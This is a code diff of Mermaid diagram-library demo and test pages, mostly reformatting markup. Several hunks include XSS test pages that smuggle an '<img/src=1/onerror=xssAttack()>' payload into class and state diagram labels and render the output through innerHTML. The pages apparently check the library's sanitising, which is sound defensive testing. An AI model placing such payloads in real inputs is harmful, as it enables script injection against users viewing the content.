<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
@@ -16,8 +19,10 @@
|
||||
width: 100%;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -39,7 +44,7 @@
|
||||
<body>
|
||||
<h1>Showcases of diagrams</h1>
|
||||
<div class="flex flex-wrap">
|
||||
<div class="mermaid width height">
|
||||
<pre class="mermaid width height">
|
||||
%%{init: {'theme': 'neutral'}}%%
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
@@ -55,8 +60,8 @@
|
||||
F
|
||||
G
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
flowchart TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{Let me think}
|
||||
@@ -71,8 +76,8 @@
|
||||
F
|
||||
G
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height" >
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
sequenceDiagram
|
||||
autonumber
|
||||
par Action 1
|
||||
@@ -88,8 +93,8 @@
|
||||
loop Every minute
|
||||
John-->Alice: Great!
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid width height" >
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
%%{init: {'theme':'neutral'}}%%
|
||||
|
||||
classDiagram
|
||||
@@ -113,8 +118,8 @@ classDiagram
|
||||
+bool is_wild
|
||||
+run()
|
||||
}
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
gantt
|
||||
dateFormat :YYYY-MM-DD
|
||||
title Adding GANTT diagram functionality to mermaid
|
||||
@@ -142,8 +147,8 @@ gantt
|
||||
Describe gantt syntax :after doc1, 3d
|
||||
Add gantt diagram to demo page :20h
|
||||
Add another diagram to demo page :48h
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
stateDiagram
|
||||
[*] --> Active
|
||||
|
||||
@@ -167,8 +172,8 @@ gantt
|
||||
|
||||
Active --> SomethingElse
|
||||
note right of SomethingElse : This is the note to the right.
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
stateDiagram-v2
|
||||
[*] --> Active
|
||||
|
||||
@@ -192,8 +197,8 @@ gantt
|
||||
|
||||
Active --> SomethingElse2
|
||||
note right of SomethingElse2 : This is the note to the right.
|
||||
</div>
|
||||
<div class="mermaid width height2">
|
||||
</pre>
|
||||
<pre class="mermaid width height2">
|
||||
erDiagram
|
||||
CUSTOMER }|..|{ DELIVERY-ADDRESS : has
|
||||
CUSTOMER ||--o{ ORDER : places
|
||||
@@ -203,8 +208,8 @@ gantt
|
||||
ORDER ||--|{ ORDER-ITEM : includes
|
||||
PRODUCT-CATEGORY ||--|{ PRODUCT : contains
|
||||
PRODUCT ||--o{ ORDER-ITEM : "ordered in"
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
journey
|
||||
title My working day
|
||||
section Go to work
|
||||
@@ -214,8 +219,8 @@ gantt
|
||||
section Go home
|
||||
Go downstairs: 5: Me
|
||||
Sit down: 5: Me
|
||||
</div>
|
||||
<div class="mermaid width height">
|
||||
</pre>
|
||||
<pre class="mermaid width height">
|
||||
requirementDiagram
|
||||
|
||||
requirement test_req {
|
||||
@@ -253,9 +258,9 @@ requirementDiagram
|
||||
test_req - traces -> test_req2
|
||||
test_req - contains -> test_req3
|
||||
test_req <- copies - test_entity2
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div class="mermaid" class="width height">
|
||||
<pre class="mermaid" class="width height">
|
||||
gitGraph:
|
||||
commit
|
||||
branch hotfix
|
||||
@@ -298,9 +303,9 @@ requirementDiagram
|
||||
merge main
|
||||
checkout develop
|
||||
merge release
|
||||
</div>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
</pre>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -319,8 +324,8 @@ requirementDiagram
|
||||
securityLevel: 'strict',
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,26 +1,26 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
body {
|
||||
font-family: 'trebuchet ms', verdana, arial;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="mermaid">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
body {
|
||||
font-family: 'trebuchet ms', verdana, arial;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
subgraph 1test["id starting with number"]
|
||||
A
|
||||
end
|
||||
style 1test fill:#F99,stroke-width:2px,stroke:#F0F
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
A.a[Christmas]:::someclass -->|Get money| B(Go shopping):::someclass
|
||||
subgraph test["id starting with number"]
|
||||
@@ -28,18 +28,18 @@
|
||||
end
|
||||
style test fill:#F99,stroke-width:2px,stroke:#F0F
|
||||
classDef someclass fill:#f96;
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
9e122290-->82072290_1ec3_e711_8c5a_005056ad0002
|
||||
style 9e122290 fill:#F99,stroke-width:2px,stroke:#F0F
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function showFullFirstSquad(elemName) {
|
||||
console.log('show ' + elemName);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 1 });
|
||||
</script>
|
||||
</body>
|
||||
</pre>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function showFullFirstSquad(elemName) {
|
||||
console.log('show ' + elemName);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 1 });
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,18 +1,21 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
}
|
||||
}
|
||||
h1 {
|
||||
color: #333;
|
||||
font-size: 20px;
|
||||
@@ -37,7 +40,7 @@
|
||||
<div class="flex flex-wrap">
|
||||
<div class="size">
|
||||
<h1>Default</h1>
|
||||
<div class="mermaid" >
|
||||
<pre class="mermaid">
|
||||
%%{init: { 'logLevel': 0, 'theme': 'default'} }%%
|
||||
graph TD
|
||||
A(Start) --> B[/Another/]
|
||||
@@ -46,11 +49,11 @@
|
||||
B
|
||||
C
|
||||
end
|
||||
</div>
|
||||
</pre>
|
||||
</div>
|
||||
<div class="size">
|
||||
<h1>Forest</h1>
|
||||
<div class="mermaid" >
|
||||
<pre class="mermaid">
|
||||
%%{init: { 'logLevel': 1, 'theme': 'forest'} }%%
|
||||
graph TD
|
||||
A(Start) --> B[/Another/]
|
||||
@@ -59,11 +62,11 @@
|
||||
B
|
||||
C
|
||||
end
|
||||
</div>
|
||||
</pre>
|
||||
</div>
|
||||
<div class="size">
|
||||
<h1>Neutral</h1>
|
||||
<div class="mermaid" >
|
||||
<pre class="mermaid">
|
||||
%%{init: { 'logLevel': 1, 'theme': 'neutral'} }%%
|
||||
graph TD
|
||||
A(Start) --> B[/Another/]
|
||||
@@ -72,11 +75,11 @@
|
||||
B
|
||||
C
|
||||
end
|
||||
</div>
|
||||
</pre>
|
||||
</div>
|
||||
<div class="size dark">
|
||||
<h1>Dark</h1>
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
%%{init: { 'logLevel': 1, 'theme': 'dark'} }%%
|
||||
graph TD
|
||||
A(Start) --> B[/Another/]
|
||||
@@ -85,11 +88,11 @@
|
||||
B
|
||||
C
|
||||
end
|
||||
</div>
|
||||
</pre>
|
||||
</div>
|
||||
<div class="size">
|
||||
<h1>Base with overriding themeVariable</h1>
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
%%{init: { 'theme': 'base', 'themeVariables':{ 'primaryColor': '#ff0000'}}}%%
|
||||
|
||||
graph TD
|
||||
@@ -99,11 +102,11 @@
|
||||
B
|
||||
C
|
||||
end
|
||||
</div>
|
||||
</pre>
|
||||
</div>
|
||||
<div class="size">
|
||||
<h1>Nothing set, should be Default</h1>
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
%%{init: { 'logLevel': 1} }%%
|
||||
|
||||
graph TD
|
||||
@@ -113,11 +116,11 @@
|
||||
B
|
||||
C
|
||||
end
|
||||
</div>
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -138,8 +141,8 @@
|
||||
securityLevel: 'strict',
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,14 +1,10 @@
|
||||
<html>
|
||||
<head>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
</head>
|
||||
<body>
|
||||
<h1>User Journey</h1>
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
journey
|
||||
title Go shopping
|
||||
|
||||
@@ -28,7 +24,7 @@
|
||||
Find keys:4: Mum
|
||||
Get into car:4: Dad, Mum, Child 1, Child 2
|
||||
Drive home:3: Dad
|
||||
</div>
|
||||
</pre>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
|
||||
@@ -1,37 +1,37 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
body {
|
||||
font-family: 'trebuchet ms', verdana, arial;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="mermaid">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
body {
|
||||
font-family: 'trebuchet ms', verdana, arial;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<pre class="mermaid">
|
||||
info
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
subgraph one
|
||||
1
|
||||
end
|
||||
</div>
|
||||
<!-- <div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
A --> B --> C
|
||||
</div> -->
|
||||
</pre>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function showFullFirstSquad(elemName) {
|
||||
console.log('show ' + elemName);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 1 });
|
||||
</script>
|
||||
</body>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
function showFullFirstSquad(elemName) {
|
||||
console.log('show ' + elemName);
|
||||
}
|
||||
mermaid.initialize({ startOnLoad: true, securityLevel: 'loose', logLevel: 1 });
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -46,7 +46,7 @@ function merge(current, update) {
|
||||
// if update[key] exist, and it's not a string or array,
|
||||
// we go in one level deeper
|
||||
if (
|
||||
current.hasOwnProperty(key) && // eslint-disable-line
|
||||
current.hasOwnProperty(key) &&
|
||||
typeof current[key] === 'object' &&
|
||||
!(current[key] instanceof Array)
|
||||
) {
|
||||
|
||||
@@ -1,18 +1,17 @@
|
||||
<!doctype html>
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
/* .mermaid {
|
||||
<head>
|
||||
<style>
|
||||
/* .mermaid {
|
||||
font-family: "trebuchet ms", verdana, arial;;
|
||||
} */
|
||||
/* .mermaid {
|
||||
/* .mermaid {
|
||||
font-family: 'arial';
|
||||
} */
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="graph-to-be"></div>
|
||||
<script src="./bundle-test.js" charset="utf-8"></script>
|
||||
</body>
|
||||
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div id="graph-to-be"></div>
|
||||
<script src="./bundle-test.js" charset="utf-8"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,16 +1,13 @@
|
||||
<html>
|
||||
<head>
|
||||
<script src="/e2e.js"></script>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<style>
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -88,20 +94,20 @@
|
||||
}
|
||||
|
||||
var diagram = 'classDiagram\n';
|
||||
diagram += 'class Square~<img/src';
|
||||
diagram += "='1'/onerror=xssAttack()>~{\n";
|
||||
diagram += 'id A\n';
|
||||
diagram += '}';
|
||||
diagram += 'class Square~<img/src';
|
||||
diagram += "='1'/onerror=xssAttack()>~{\n";
|
||||
diagram += 'id A\n';
|
||||
diagram += '}';
|
||||
|
||||
// var diagram = "stateDiagram-v2\n";
|
||||
// diagram += "<img/src='1'/onerror"
|
||||
// diagram += "=xssAttack()> --> B";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
// var diagram = "stateDiagram-v2\n";
|
||||
// diagram += "<img/src='1'/onerror"
|
||||
// diagram += "=xssAttack()> --> B";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -87,19 +93,19 @@
|
||||
throw new Error('XSS Succeeded');
|
||||
}
|
||||
|
||||
var diagram = 'stateDiagram-v2\n';
|
||||
diagram += 's2 : This is a state description<img/src';
|
||||
diagram += "='1'/onerror=xssAttack()>";
|
||||
var diagram = 'stateDiagram-v2\n';
|
||||
diagram += 's2 : This is a state description<img/src';
|
||||
diagram += "='1'/onerror=xssAttack()>";
|
||||
|
||||
// var diagram = "stateDiagram-v2\n";
|
||||
// diagram += "<img/src='1'/onerror"
|
||||
// diagram += "=xssAttack()> --> B";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
// var diagram = "stateDiagram-v2\n";
|
||||
// diagram += "<img/src='1'/onerror"
|
||||
// diagram += "=xssAttack()> --> B";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
|
||||
// console.error('Mermaid error: ', err);
|
||||
@@ -59,8 +65,8 @@
|
||||
flowchart: {
|
||||
// defaultRenderer: 'dagre-wrapper',
|
||||
nodeSpacing: 10,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
curve: 'cardinal',
|
||||
htmlLabels: true,
|
||||
},
|
||||
htmlLabels: true,
|
||||
// gantt: { axisFormat: '%m/%d/%Y' },
|
||||
@@ -76,8 +82,8 @@
|
||||
// themeVariables: {relationLabelColor: 'red'}
|
||||
});
|
||||
function callback() {
|
||||
alert('It worked');
|
||||
}
|
||||
alert('It worked');
|
||||
}
|
||||
function xssAttack() {
|
||||
const div = document.createElement('div');
|
||||
div.id = 'the-malware';
|
||||
@@ -87,19 +93,19 @@
|
||||
throw new Error('XSS Succeeded');
|
||||
}
|
||||
|
||||
var diagram = 'stateDiagram-v2\n';
|
||||
diagram += 's2 : A<img/src';
|
||||
diagram += "='1'/onerror=xssAttack()>";
|
||||
var diagram = 'stateDiagram-v2\n';
|
||||
diagram += 's2 : A<img/src';
|
||||
diagram += "='1'/onerror=xssAttack()>";
|
||||
|
||||
// var diagram = "stateDiagram-v2\n";
|
||||
// diagram += "<img/src='1'/onerror"
|
||||
// diagram += "=xssAttack()> --> B";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
// var diagram = "stateDiagram-v2\n";
|
||||
// diagram += "<img/src='1'/onerror"
|
||||
// diagram += "=xssAttack()> --> B";
|
||||
console.log(diagram);
|
||||
// document.querySelector('#diagram').innerHTML = diagram;
|
||||
mermaid.render('diagram', diagram, (res) => {
|
||||
console.log(res);
|
||||
document.querySelector('#res').innerHTML = res;
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,20 +1,25 @@
|
||||
<html>
|
||||
<head>
|
||||
<link href="https://fonts.googleapis.com/css?family=Montserrat&display=swap" rel="stylesheet" />
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet" />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Montserrat&display=swap"
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"
|
||||
/>
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link href="https://unpkg.com/tailwindcss@^1.0/dist/tailwind.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||
<link href="https://fonts.googleapis.com/css?family=Noto+Sans+SC&display=swap" rel="stylesheet">
|
||||
<style>
|
||||
body {
|
||||
/* background: rgb(221, 208, 208); */
|
||||
/* background:#333; */
|
||||
font-family: 'Arial';
|
||||
/* font-size: 18px !important; */
|
||||
}
|
||||
h1 { color: grey;}
|
||||
}
|
||||
h1 {
|
||||
color: grey;
|
||||
}
|
||||
.mermaid2 {
|
||||
display: none;
|
||||
}
|
||||
@@ -23,9 +28,9 @@
|
||||
}
|
||||
.malware {
|
||||
position: fixed;
|
||||
bottom:0;
|
||||
left:0;
|
||||
right:0;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 150px;
|
||||
background: red;
|
||||
color: black;
|
||||
@@ -43,7 +48,8 @@
|
||||
<div class="flex">
|
||||
<div id="diagram" class="mermaid"></div>
|
||||
<div id="res" class=""></div>
|
||||
<script src="./mermaid.js"></script>
|
||||
</div>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.parseError = function (err, hash) {
